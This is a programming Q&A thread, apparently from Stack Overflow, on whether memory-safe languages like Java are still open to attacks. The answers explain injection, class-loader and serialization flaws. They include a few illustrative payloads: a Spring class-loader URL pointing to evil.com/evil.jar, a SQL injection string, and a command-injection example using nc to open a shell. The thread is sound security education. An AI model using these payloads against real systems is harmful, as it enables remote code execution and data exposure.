开发者

Security exploits in "safe" languages

开发者 https://www.devze.com 2023-01-19 17:59 出处:网络
I just recently finished reading Secure Coding in C and C++ by Brian Seacord, who works for CERT. Overall, it\'s an excellent book and I would recommend it to any programmer who hasn\'t yet read it.A

I just recently finished reading Secure Coding in C and C++ by Brian Seacord, who works for CERT.

Overall, it's an excellent book and I would recommend it to any programmer who hasn't yet read it. After reading it, it occurs to me that for all the various types of security vulnerabilities (such as exploit code injection, buffer overflows, integer overflows, string formatting vulnerabilities, etc.), every single security hole seems to come down to one thing: the ability to access a memory address that isn't bounded by a buffer that was legitimately allocated by the process.

The ability to inject malicious code, or reroute the program logic depends entirely on being able to access memory addresses that fall outside legitimately allocated buffers. But in a language like Java, this is simply impossible. The worst that could happen is a program will terminate with an ArrayIndexOutOfBoundsException, leading to a denial-of-service.

So are there any security vulnerabilities possible in "safe开发者_C百科" languages like Java, where invalid memory accesses are not possible? (I use Java as an example here, but really I'm interested in knowing about security vulnerabilities in any language that prevents invalid memory accesses.)


Of course a book focused on C / C++ will focus on the most common exploit. Memory tricks on the stack and so forth.

As for the "obvious" example of a language with plenty of security cavats without any direct memory access... hows PHP? Aside from the usual XSS, CSRF and SQL injection, you've got remote code injection on older versions of PHP because of include magic and so forth. I'm sure there are Java examples, but I'm not a Java security expert...

But because Java Security experts do exist, I'm sure there are cases that you have to worry about. (in particular, I'm sure SQL injection also plagues naive web Java Developers).

EDIT: off the top of my head, Java does have dynamic loading of classes through ClassLoader. If you were to write a custom class loader for some reason, and you didn't verify the .class files, then you would open your program up to code-injection. If this custom class loader somehow read classes from the internet, then it would also be possible to have remote code injections. And as strange as it sounds, this is pretty common. Consider Eclipse and its plugin framework. Very literally, it is loading downloaded code automatically and then running them. I admit, I don't know the architecture of Eclipse, but I bet you that security is a concern for Eclipse plugin developers.


The ability to inject malicious code, or reroute the program logic depends entirely on being able to access memory addresses that fall outside legitimately allocated buffers.

This strikes me as a narrow view of what is and isn't malicious. SQL Injection for example (or indeed any type of inject) doesn't require buffer overflows and generally injects malicious code into your system. However it's certainly possible; for example some managed languages will allow the NULL character in the middle of their managed string classes. There have been interesting bugs where the string was passed to the underlying OS, where the API is C/C++ driven and thus truncates the string at the first \0 it finds, which, for example, may allow you to wander around the file system at will due to truncation errors.

Then there's bad encryption, information leaks and all sorts of other fun security errors which don't involve buffers ...


Yes. This has happened more than once. Just because a language makes it hard to make an invalid access to memory doesn't automatically protect you from attacks. Also, there's also the whole "social engineering" thing that can make users run malicious programs without requiring any exploits at all!

The best thing you can do is to keep your software up to date, use programming practices that reduce bugs, fix serious bugs as soon as they're discovered, and educating users.


Here's an interesting security hole, argueably much more likely in a Java system than in a C++ system:

suppose a web framework uses reflection to set object fields from url parameters

/update?a=1&b[2]=2&c.x=3&c.y=4

very convenient and powerful. it allows traversal of any object graph...

when an attacker feeds it a URL like this

/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar

game over. the entire system is under the control of the attacker.

see http://seclists.org/fulldisclosure/2010/Jun/456

and I don't think it only happened to Spring. There are a lot of Java systems out there pretty much exposing their bellies to the open world.


From Sun's own Secure Coding Guidelines for the Java Programming Language, Version 3.0:

The Java platform has its own unique set of security challenges. One of its main design considerations is to provide a secure environment for executing mobile code. While the Java security architecture can protect users and systems from hostile programs downloaded over a network, it cannot defend against implementation bugs that occur in trusted code. Such bugs can inadvertently open the very holes that the security architecture was designed to contain...


Unchecked user input can lead to a lot of security holes:

 stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");

if userName isn't validated, and comes from an external source, someone can easily provide their userName as "john' or userName != '" . Leading to exposure of all the data in your table.

Runtime.getRuntime().exec(command);

Same thing here. If command isn't validated and comes from external source, someone clever could run say "/bin/sh | nc -l 10000" or the like, gaining shell access on the server. Or inject a C source program exploiting a local security hole and have command compile and run it right on the server.


So the virtual machine implementation just becomes the thing you need to find a vulnerability in. And if you think locking down VM implementations is easy, read this amazing account of the details of an exploit for the Action Script virtual machine and consider whether you could really ever guarantee such holes didn't exist.


There's tons of security exploits that can affect pretty much any language - some old exploits, some new.

An example of an old school exploit would be creating a temporary file with insecure permissions or in an insecure directory - resulting in information leaking or an attacker inserting their own info.

SQL injection exploits have been around for a long time as well (ie. passing unvalidated text from the user into the sql parser).

XSS type attacks are relatively new, and easy to create in any server programming language.


Java is more secure than C++ in memory exploits (due to explicit bound checking build-in the language). This eliminates the category of buffer overflow exploits.
BUT java is not perfectly safe.
Features build-in the language for the programmer's convience, can be used as part of malicious attack. E.g. using reflection a program can find out values of class variables and modify them (there are ways to override the security manager - at least so I have read).
Serialization has issues (check-out RMI vulnerabilities) and there are many APIs programmers use without worry that could result badly. E.g. APIs that use our program's classloader to load "untrusted?" libraries.


A lot of programming security vulnerabilities can be classified as injection attacks that are specific to a given language or framework. You've been reading specifically about injection attacks in C++, whereby a user can inject code via a buffer overflow or string formatting vulnerability. If you extend your research to HTML you'll find that cross-site scripting (injection of JS code) and SQL injection (injection of SQL queries) are pretty common. Take a look at PHP and you'll note that command level injection tends to be a regular issue.

Ultimately each language and framework has its problems. Be aware of them. And of-course, business logic security errors will continue to exist, regardless of the language, framework or OS that you use. For example, a shopping cart that allows a negative quantity of items to be purchased for a negative total amount will be a security problem simply due to poor programming skills.


Java programs don't run on thin air. It is a whole platform, and the programmers of this platform are just humans who make programming errors. While your Java code itself may be safe, you need the platform to run it, opening other attack vectors.


I'm disappointed that this one wasn't mentioned since the question pertains to Java, which is especially vulnerable to this sort of oversight:

In java Visibility is a key concern for a software developer trying to assure that his code is secure. Especially in the context of extendable frameworks where I'll frequently be running "foreign" code it is vital that I not overexpose information that I trust as valid.

If I've made something public that should, in fact, be private, I've introduce a potential vulnerability. If I pass a reference to an object that I'm actively using instead of a defensive copy, I might inadvertently expose data that the standard user shouldn't have access to. Sometimes you want the user to have a reference and not a copy, but if this is a piece of data that survives for a while, you'll want to consider making a copy just to ensure that you've got control of the data from that point forward.

Allowing someone a reference to a member data field in a class I'm treating as immutable, might cause interesting or bizarre behavior to occur. Data could be modified after I've done validity checking and sanitized it.

0

精彩评论

暂无评论...
验证码 换一张
取 消